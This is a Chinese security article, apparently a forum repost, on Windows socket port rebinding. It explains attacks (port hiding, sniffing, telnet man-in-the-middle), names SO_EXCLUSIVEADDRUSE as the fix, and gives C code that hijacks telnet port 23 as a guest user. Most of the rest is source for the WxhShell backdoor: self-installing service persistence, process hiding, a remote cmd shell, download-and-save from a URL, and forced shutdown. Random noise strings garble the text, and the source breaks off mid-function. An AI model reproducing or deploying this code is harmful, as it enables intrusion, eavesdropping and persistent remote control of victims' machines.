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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: d0|{/4IWw; s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yS:w>xU @< ~;pP@DA saddr.sin_family = AF_INET; B0p;Zh _3N,oCRm saddr.sin_addr.s_addr = htonl(INADDR_ANY); _A&
[rBm| " W{rS4L bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v$x)$/]n ^_V0irv 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .I]v
D#o "'+C% 这意味着什么?意味着可以进行如下的攻击: d(d3@b4Ta z.\\m;s 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 y!:vX6l zFipuG02 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \L$]2"/v- 8tf>G(I{ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]]`[tVaFr Z,\(bW
qF 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 N%q{CYF6 =h=-&DSA 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;"e55|d9I }?Pa(0=U
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O'^AbO=, s!yD%zO 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #K$0%0=M }weE^9GiJ #include `mYp?NjR_ #include LkK[,Qj #include zL50|U0H #include r8N)]HsZH DWORD WINAPI ClientThread(LPVOID lpParam); D'{o3Q,%K int main() nygeR|:\ { vl}}h%BC WORD wVersionRequested; Xkx&'/QG,U DWORD ret; pNuU{:9 B0 WSADATA wsaData; P, F5Hf BOOL val; F.(e}EMyNh SOCKADDR_IN saddr; qzHsqlof SOCKADDR_IN scaddr; J8@+)hn int err;
]SL+ZT SOCKET s; PR(KDwsT&l SOCKET sc; M&",7CPD(1 int caddsize; *Sbc
8Y HANDLE mt; SX =^C DWORD tid; =%>E8)Jb wVersionRequested = MAKEWORD( 2, 2 ); Bd;EI)JT err = WSAStartup( wVersionRequested, &wsaData ); W$l4@A if ( err != 0 ) { RLLL=?W@ printf("error!WSAStartup failed!\n"); x2l}$(7 return -1; )[&j&AI } z5<&}Vh;P saddr.sin_family = AF_INET; [!} uj`e 6"rS?>W/mO //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ov\%*z2= 673G6Nk saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :'fK`G
6 saddr.sin_port = htons(23); {+kWK;1 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L+lye Ir' { AGVipI # printf("error!socket failed!\n"); aK,\e/Oo return -1; m{lS-DlRg } $SniQ val = TRUE; @}+B%R //SO_REUSEADDR选项就是可以实现端口重绑定的 ^;\6ju2 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Kl(u~/=6 { ~aL?{kb+ printf("error!setsockopt failed!\n"); Hb^ovc0 return -1; mryT%zSlM } abEdZ)$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; cj[%.M5iBA //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 H66~!J0;a //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?iaO6HD Na.e1A&?j if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) uIJ
zz4 { ?4Zo0DiUB ret=GetLastError(); #X5Tt ; printf("error!bind failed!\n"); N$ 2Iz return -1; !+Sd%2o } ry* 9 listen(s,2); q'biTn]2 while(1) 1gYvp9Ma { :ZM=P3QZ caddsize = sizeof(scaddr); @Hp=xC9V //接受连接请求 +J}h sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wG22ffaki
if(sc!=INVALID_SOCKET) oOQ0f |MGp { ]ddL'>$c$ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); L'>0E(D if(mt==NULL) ^c sOXP=Yp { 8Y;>3zth7 printf("Thread Creat Failed!\n"); kh>i#9Ie break; '}P$hP_d } R_:-Z.
} h#|A c>fz CloseHandle(mt); )f%Q7 } *NIhYg6 closesocket(s); xT+@0?|F WSACleanup(); [{+ZQd return 0; #Z_f/@b } ADA*w 1 DWORD WINAPI ClientThread(LPVOID lpParam) oR<;Tr~{q { -$D#u SOCKET ss = (SOCKET)lpParam; l W
Lj== SOCKET sc; s!
sG)AR.J unsigned char buf[4096]; :Ui'x8yt SOCKADDR_IN saddr; H<`7){iG long num; M;@/697G DWORD val; `{J(S'a` DWORD ret; >9Y0t^Fl //如果是隐藏端口应用的话,可以在此处加一些判断 _#o75*42tT //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 r9^~I saddr.sin_family = AF_INET; TIP H#W:v saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jouT9~[L' saddr.sin_port = htons(23); T\T>\&nY+| if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7I {rhA { CH=k=)() ] printf("error!socket failed!\n"); };8PPR)\y return -1; L0xh?B } -$y/*' val = 100; O'W[/\A56M if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2fdC @V { 5|oi*b ret = GetLastError(); yrrP#F return -1; Y2y =
P } BUEV+SZ4 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mDIN%/S' { =$vy_UN ret = GetLastError(); RsP^T:M}$ return -1; th|TwD&mO } A4VVy~sd if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) GG`;c?d@ { DYL \=ya1 printf("error!socket connect failed!\n"); '\B!1B>T closesocket(sc); Kdd5ysTQ closesocket(ss); Kdb:Q0B return -1; ^g N?Io } s!K9-qZl< while(1) K9euNa { zzyD'n7D //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !X/O1PM| //如果是嗅探内容的话,可以再此处进行内容分析和记录 m9f[nT //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 VaylbYUCT/ num = recv(ss,buf,4096,0); }kb6;4>c if(num>0) A ]~%<=b send(sc,buf,num,0); %;tBWyq}_ else if(num==0) u=!n9W~" break; <o&\/uO~H num = recv(sc,buf,4096,0); $PKUcT0N9 if(num>0) Y\7/`ty send(ss,buf,num,0); aboA9pwH else if(num==0) ^Jn=a9Q6Z break; 'fY(
Vm } V%!my[b closesocket(ss); +K*_=gHF. closesocket(sc); jD'$nKpg return 0 ; r*4@S~; } -VRKQNT $t42?Z=N&z eop7=!`-~~ ========================================================== C2Af$7c cP (is! 下边附上一个代码,,WXhSHELL tY$4k26 }h_=
n> ========================================================== LDq(WPI1# nM&UdKf3 #include "stdafx.h" ,L7:3W *v9 {f? #include <stdio.h> Eg|C #include <string.h> ZuQ\Pyx #include <windows.h> :l?/]K #include <winsock2.h> B"fKv0 #include <winsvc.h> /kK:{ #include <urlmon.h> Hqm1[G) BvV!?DY4 #pragma comment (lib, "Ws2_32.lib") )qV&sru.$ #pragma comment (lib, "urlmon.lib") RkXW(T` [^E{Yz=8, #define MAX_USER 100 // 最大客户端连接数 `?xE-S
;Pn #define BUF_SOCK 200 // sock buffer 5Gsjt+
o #define KEY_BUFF 255 // 输入 buffer [+Y;w`;Fq SB2Ij', #define REBOOT 0 // 重启 e`D? x1- #define SHUTDOWN 1 // 关机 /2e,,)4g dW>$C_`? #define DEF_PORT 5000 // 监听端口 *%`jcF Hs6}~d #define REG_LEN 16 // 注册表键长度 B#;0{ #define SVC_LEN 80 // NT服务名长度 joJ:*oL rpO>l // 从dll定义API XP!7@: typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
66s h r typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZpQ8KY$5 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $>y typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZRo-=/1 fE/|U|5L[ // wxhshell配置信息 +zn207.` struct WSCFG { y153ax int ws_port; // 监听端口 i7(\i2_P char ws_passstr[REG_LEN]; // 口令 PFnq:G^L int ws_autoins; // 安装标记, 1=yes 0=no Kw^tvRt'* char ws_regname[REG_LEN]; // 注册表键名 $*i"rlJC char ws_svcname[REG_LEN]; // 服务名 i(@<KH char ws_svcdisp[SVC_LEN]; // 服务显示名 b5Pakz=jNM char ws_svcdesc[SVC_LEN]; // 服务描述信息 =C.WM*= ' char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vswBK-w(Z int ws_downexe; // 下载执行标记, 1=yes 0=no !~~j&+hK\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" trC+Etc char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eEG]JH 'U'#_mYG }; iNAaTU YKsc[~
h // default Wxhshell configuration k_<8SG+` struct WSCFG wscfg={DEF_PORT, `2Oh0{x0*O "xuhuanlingzhe", vAMr&[ 1, X@n\~[.B "Wxhshell", T{%'"mm; "Wxhshell", `F<[\@\d5 "WxhShell Service", #Qp.O@e "Wrsky Windows CmdShell Service", SZm)`r\A "Please Input Your Password: ", p-t*?p
C 1, 2dF:;k k " http://www.wrsky.com/wxhshell.exe", GxIw4m9 "Wxhshell.exe" #)xg$9LQb }; ].eY]o}= g$f; // 消息定义模块 aab?hR char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mTW@E#)n char *msg_ws_prompt="\n\r? for help\n\r#>"; ~t~5ctJ@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; %aszZP char *msg_ws_ext="\n\rExit."; _Vq7Gxy$R char *msg_ws_end="\n\rQuit."; FiQx5}MMhu char *msg_ws_boot="\n\rReboot..."; <C'S#5,2 char *msg_ws_poff="\n\rShutdown..."; K{&b "Ba1 char *msg_ws_down="\n\rSave to "; 42m}c1R /j1p^=ARV char *msg_ws_err="\n\rErr!"; O<x53MN^ char *msg_ws_ok="\n\rOK!"; h8yv:}XU* j;k(AM< char ExeFile[MAX_PATH]; 92k}ON int nUser = 0; -~HlME*~f HANDLE handles[MAX_USER]; [[[QBplJ int OsIsNt; c[Mz#BWG (Rc0 l; SERVICE_STATUS serviceStatus; M\s^>7es SERVICE_STATUS_HANDLE hServiceStatusHandle; ]PnE% 0P_Y6w+ // 函数声明 4D/mm(2d$ int Install(void); @Yq! int Uninstall(void); 79^on8 k} int DownloadFile(char *sURL, SOCKET wsh); GZN@MK*co int Boot(int flag); !!c.cv' void HideProc(void); ^w<:UE2a! int GetOsVer(void); \\D~Yg\# int Wxhshell(SOCKET wsl); Kup-O
u, void TalkWithClient(void *cs); bz~-uHC int CmdShell(SOCKET sock); 8<g_JW[% int StartFromService(void); wBcDL/(> int StartWxhshell(LPSTR lpCmdLine); e;=G|E "z }bgy VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R$cO`L*s VOID WINAPI NTServiceHandler( DWORD fdwControl ); #oYX0wvl WPE@yI(
// 数据结构和表定义 d]e`t"Aj SERVICE_TABLE_ENTRY DispatchTable[] = K@{jY\AZNx { p;n )YY$ {wscfg.ws_svcname, NTServiceMain}, uF T\a= {NULL, NULL} tS2lex% }; T^GdN_qF U
gB // 自我安装 yh5KN_W int Install(void) 0;TMwE { xiRTp:> char svExeFile[MAX_PATH]; B>47Ic HKEY key; i=2+1;K strcpy(svExeFile,ExeFile); NUL~zb /KKX;L[D( // 如果是win9x系统,修改注册表设为自启动 W,agPG\+ if(!OsIsNt) { wCvD4C.WH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 73xI8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 33Mr9Doon RegCloseKey(key); wq]nz! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <R{\pz2w RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y,mH ] RegCloseKey(key); wU#Q>ut'% return 0; NHc+QMbou( } !#iP)"O } Q|G[9HBI } <E\BKC%M else { R4qk/@]t %n}]$
d // 如果是NT以上系统,安装为系统服务 R1q04Zj{2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U |4%ydG if (schSCManager!=0) sox90o 7 { orU4{.e SC_HANDLE schService = CreateService Hh@mIusj ( Tf0#+6 1> schSCManager, f:utw T wscfg.ws_svcname, b'{D4/ wscfg.ws_svcdisp, "{0kg'fU SERVICE_ALL_ACCESS, \R#XSW, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ohh 1DsB SERVICE_AUTO_START, >$"bwr}'4B SERVICE_ERROR_NORMAL, X>wQYIi svExeFile, a,tP.Xsl NULL, L]tyL) NULL, ):[[Ch_ NULL, n+i}>3'A NULL, O>>8%=5Q NULL l;;:3: ); >ab=LDoM if (schService!=0) %Mu dc { g+CHF?O CloseServiceHandle(schService); eX$Biv1N CloseServiceHandle(schSCManager); ``\H'^{B strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C'$U1%:
j strcat(svExeFile,wscfg.ws_svcname); M>^IQ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AUq?<Vg\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :dj@i6 RegCloseKey(key); }Ag2c; aaq return 0; I'j?T. } F`N*{at } k{#:O= CloseServiceHandle(schSCManager); ~& l`" } = G_6D } Yk5kC0B mU_O64 return 1; Tv KX8 m" } Owr`ip\ .6hH}BM // 自我卸载 +(<f(]bG int Uninstall(void) BOG )JaDW { iOyYf!yg HKEY key; ^Ve^}|qPc t>[r88v if(!OsIsNt) { t Z%?vY~! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nGt8u4gcP RegDeleteValue(key,wscfg.ws_regname); j{PX ~/ RegCloseKey(key); o?3R HP47 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O<hHo]jLF RegDeleteValue(key,wscfg.ws_regname); Cr`
0C RegCloseKey(key); y{N9.H2 return 0; i~;8'>:|,M } g DhwJks } MXy{]o_H~ } sHF vzE% else { L`#+ZLo DHAWUS6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q@8[q l1l if (schSCManager!=0) ?Z=v&d[o) { @2mP SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]ok>PH] if (schService!=0) Zx_m?C_2_ { /K^cU;E, if(DeleteService(schService)!=0) { z)%1 i CloseServiceHandle(schService); cGp^;> ]M CloseServiceHandle(schSCManager);
q0~_D8e, return 0; p{rS -`I } xeI{i{8 CloseServiceHandle(schService); "YL-!P } :3B\,inJ CloseServiceHandle(schSCManager); $c}0L0 } }$-VI\96 } {UcItLjY k@L~h{`Mc\ return 1; Al|7Y/ } ca=e_sg yShHFlO= // 从指定url下载文件 0REWbcxd" int DownloadFile(char *sURL, SOCKET wsh) K>[H@|k\k
{ 5)UmA8"zVB HRESULT hr; q}5A^QX char seps[]= "/"; R*X2Z{n char *token; mw[4<vfB0a char *file; V5B-S.i@ char myURL[MAX_PATH]; W(aRO char myFILE[MAX_PATH]; :j~5(K" 7m M;Q strcpy(myURL,sURL); O[!o1. token=strtok(myURL,seps); rg,63r while(token!=NULL) d<'xpdxc { T Rw6$CR file=token; IMza
2 token=strtok(NULL,seps); yjd'{B9{ } `dP+5u! *K|aK p} GetCurrentDirectory(MAX_PATH,myFILE); D.(G 9H strcat(myFILE, "\\"); Rs`a@Fn strcat(myFILE, file); &>e DCs send(wsh,myFILE,strlen(myFILE),0); "NU".q send(wsh,"...",3,0); ?N*0S'dY hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QCR-l xO1 if(hr==S_OK) _sVs6AJ return 0; $]kg_l) else [.X%:H+
return 1; FE}!bKh `l2q G# } n5.>;N.* =[JN'|Q+ // 系统电源模块 sw|:Z(` int Boot(int flag) sg{D ?zl { *Xoscc HANDLE hToken; It4z9Gh TOKEN_PRIVILEGES tkp; Nb~dw;t zXZ'nJ5OGG if(OsIsNt) { [+g@@\X4 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #OWs3$9
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A[kH_{to; tkp.PrivilegeCount = 1; v9U(sEDq tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6;cY!
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D a[C'm= if(flag==REBOOT) { N@6OQ:,[F if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z=@) return 0; 6
]Oxx{|} } NRisr else { X5Y
`(/V if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e({fY.)SGo return 0; S2E HmE& } PuCDsojclh }
4|N\Q=, else { #}dVaXY) if(flag==REBOOT) { 6 1W/BU7O if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hG7S]\N_ return 0; VONAw3k7! } HhmVV"g else {
vt@Us\fI if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `t0f L\T return 0; j yRSEk$ } =nx:GT3&[ } -'[(Uzj Wi[m`# return 1; lVdT^"~3 } M~Qj'VVL |90
+)/$4 // win9x进程隐藏模块 Xexe{h4t_> void HideProc(void) Pzp+I} { pXh~#o6V GrR0RwnH)? HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tx5T^K7[ if ( hKernel != NULL ) oNB,.: { ?[VpN2* pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l(#ke ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tIb21c q FreeLibrary(hKernel); ny(GTKoUz } eQFb$C]R}y 7TkxvSL X return; vM7v f6 } Y#&0x_Z U`8|9v // 获取操作系统版本 G4Kmt98I int GetOsVer(void) 6WN(22Io { C`n9/[,# OSVERSIONINFO winfo; 96pk[5lj{? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]}[Yf GetVersionEx(&winfo); q|o|/ O-{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ge):<k_ return 1; =+`j?1 else #)0Tt>d6 return 0; y168K[p } :X1cA3c! t{SMSp // 客户端句柄模块 Y^6[[vaj2 int Wxhshell(SOCKET wsl) hyb +#R { U2V^T'Y[ SOCKET wsh; BKQIo)g.G struct sockaddr_in client; *)bd1B# DWORD myID; B9e.-Xaf (+UmUx= while(nUser<MAX_USER) )!k_Gb`#X { n<?SZ^X{,/ int nSize=sizeof(client); b>QM~mq3^I wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DVl[t8K! if(wsh==INVALID_SOCKET) return 1; W&e'3gk _ cRh\USS handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C~{NKMeC/m if(handles[nUser]==0) /e|[SITe closesocket(wsh); _7lt(f[S else .6#cDrK nUser++; /z1p/RiX } `M?v!]o WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e)HhnN@ 1iJ0Hut}d return 0; o)tKH@`vE } ,$h(fM8GC =!(*5\IM // 关闭 socket X_u@D;$ void CloseIt(SOCKET wsh) ;h9-}F { r+{d!CHq} closesocket(wsh); 4L=$K2R2r nUser--; ZU-4})7uSB ExitThread(0); 3J'73)y } LAv:+o(m/ "Su
b4F` // 客户端请求句柄 4<T*i{[ void TalkWithClient(void *cs) SqXy;S@ { %'L].+$t djsz!$ SOCKET wsh=(SOCKET)cs; K/vxzHSl char pwd[SVC_LEN]; 894r;UA7 char cmd[KEY_BUFF]; q Vm"f,ruo char chr[1]; 4D^ M<Xn int i,j; nAo8uWG d"B@c;dD while (nUser < MAX_USER) { J}Qs"+x s~=KhP~ if(wscfg.ws_passstr) { qr)v'aC3 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <.,RBo //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L#`2.nU //ZeroMemory(pwd,KEY_BUFF); J?UA:u i=0; W/ g|{t[ while(i<SVC_LEN) { e9CP802#2 ^W
Y8-6 // 设置超时 `FA)om fd_set FdRead; &
u$(NbK struct timeval TimeOut; vG ]GQ# FD_ZERO(&FdRead); x37/cu FD_SET(wsh,&FdRead); s0cs'Rg TimeOut.tv_sec=8; nJFk4v4:2 TimeOut.tv_usec=0; .E+OmJwD int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "jL1.9%" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {TyCj?3 B 1.'(nKoq if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |DN^NhtE pwd =chr[0]; K;oV"KRK if(chr[0]==0xd || chr[0]==0xa) { o]Z
_@VI pwd=0; >=if8t! break; 2E^"r jLm } )]%e i++; (VgNb&Yo9 } 7:n?PN(p6a (y1$MYZQ // 如果是非法用户,关闭 socket C,o: if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VmN}FMGN } DH5bpg&T b,#`n send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8y$5oD6g9 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m</]D WJ m_a^RB( while(1) { -=>sTMWpr Hx$.9'Oq\Q ZeroMemory(cmd,KEY_BUFF); 0 _Q*E3 JXH",""bq // 自动支持客户端 telnet标准 glv ;C/l j=0; ?4^};wDb2 while(j<KEY_BUFF) { ,09DBxQq, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wGg0hL cmd[j]=chr[0]; }FrEF\}]_7 if(chr[0]==0xa || chr[0]==0xd) { '%R<" cmd[j]=0; 6\NvG,8 break; -*?p F_*w } R"@7m!IA j++; v@VLVf)>9^ } HLVQ7 &x`&03X // 下载文件 +A@m9 if(strstr(cmd,"http://")) { d$w(-tV42 send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~i%-WX if(DownloadFile(cmd,wsh)) 1\/{#c send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9I85EcT^4" else wHf&R3fg send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S+r^B?a<oM } 0!pJ5q ,A else { wfE^Sb3 `19qq] switch(cmd[0]) { U_]=E<el B`i$Wt<7 // 帮助 j_p`Ng case '?': { z)
:ka"e send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j1/+\8Y break; h\(B#SN } 6
Ew@L<v // 安装 RT,:hH case 'i': { a"x}b if(Install()) bl=ku<}@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); GMl"{Oxo& else H<g 1m send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /jM_mrpz break; rvwa!YY} } W RF.[R" // 卸载 0LdJZP case 'r': { F>*{e if(Uninstall()) +~N!9eMc send(wsh,msg_ws_err,strlen(msg_ws_err),0); =~&VdPZ else )>V?+L5M send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [@/ /#}5v break; zVw:7- } Or7
mD // 显示 wxhshell 所在路径 &=X.*H% case 'p': { |jsb@ char svExeFile[MAX_PATH]; uAUp5XP|Z strcpy(svExeFile,"\n\r"); S`0NPGn;@[ strcat(svExeFile,ExeFile); 28a$NP\KW send(wsh,svExeFile,strlen(svExeFile),0); sf$o(^P9\A break; #AShbl jm+ } \Wr,<Y // 重启 }9^@5!qX case 'b': { {{\ce;hN send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cMaOM}mS if(Boot(REBOOT)) 7\Co`J>p2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,[* ;UR else { *$S#o#5 closesocket(wsh); ^ *0'\/N& ExitThread(0); <`)iA-Df;9 } L_Q S0_1 break; (!3;X"l } Hkege5{ // 关机 7b, (\Fm case 'd': { &dr@6-xaq send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _|A+) K if(Boot(SHUTDOWN)) {]^O:i" send(wsh,msg_ws_err,strlen(msg_ws_err),0); /,2rjJ#b else { ;'0=T0\ closesocket(wsh); D/CIA8h3 ExitThread(0); X%4Kj[I^ } [*Uu#9 break; ~W-cGb3c } wksl0:BL // 获取shell :QPf~\w? case 's': { .XS9,/S CmdShell(wsh); MLr-,
"gs closesocket(wsh); ,$N#Us(Wa ExitThread(0); `XJm=/f break; \vRd} } ]A^4}CK^< // 退出 $=)gpPT case 'x': { ?IF)+] send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); du_4eB CloseIt(wsh); G69GoT break; XogVpkA } MjD75hIZ // 离开 l$XPIC~H case 'q': { Rko M~`CT send(wsh,msg_ws_end,strlen(msg_ws_end),0); .UQE{.? closesocket(wsh); i{Ds&{ WSACleanup(); UE.4qY_7 exit(1); |gx~gG< break; u5+|Su } *2e!M^K< } }r%X`i| } O"Q7Rx !q'
4D!I // 提示信息 V 1/p_)A if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M'L;N!1A } h&;t.Gdf } $n!K6fkX% y >+mc7n return; WQ6"0*er } 2oCkG~j (Un_!) // shell模块句柄 F(,UA+$A int CmdShell(SOCKET sock) `$TRleSi { )Xtnk STARTUPINFO si; -7{$Vj ZeroMemory(&si,sizeof(si)); UbamB+QT si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u0Nm.--;_3 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Wl-<HR!n PROCESS_INFORMATION ProcessInfo; [yS#O\$'e char cmdline[]="cmd"; \ck+GW4& CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (Pbg[AY return 0; y3G
`> } bZ1 78>J] j)C:$ // 自身启动模式 XYrJ/!*. int StartFromService(void) )"+2Z^1- { >e,mg8u6$ typedef struct =]C]= { O"G >wv DWORD ExitStatus; $O)3q
$| DWORD PebBaseAddress; ?OlV"zK DWORD AffinityMask; 7 msAhz DWORD BasePriority; $F'>yop2b ULONG UniqueProcessId; DA&?e~L&H ULONG InheritedFromUniqueProcessId; Np+&t} } PROCESS_BASIC_INFORMATION; RQB
4s^t "Wo,'8{v PROCNTQSIP NtQueryInformationProcess; NnT g3:. i0jBZW"_1$ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Bi,;lR5
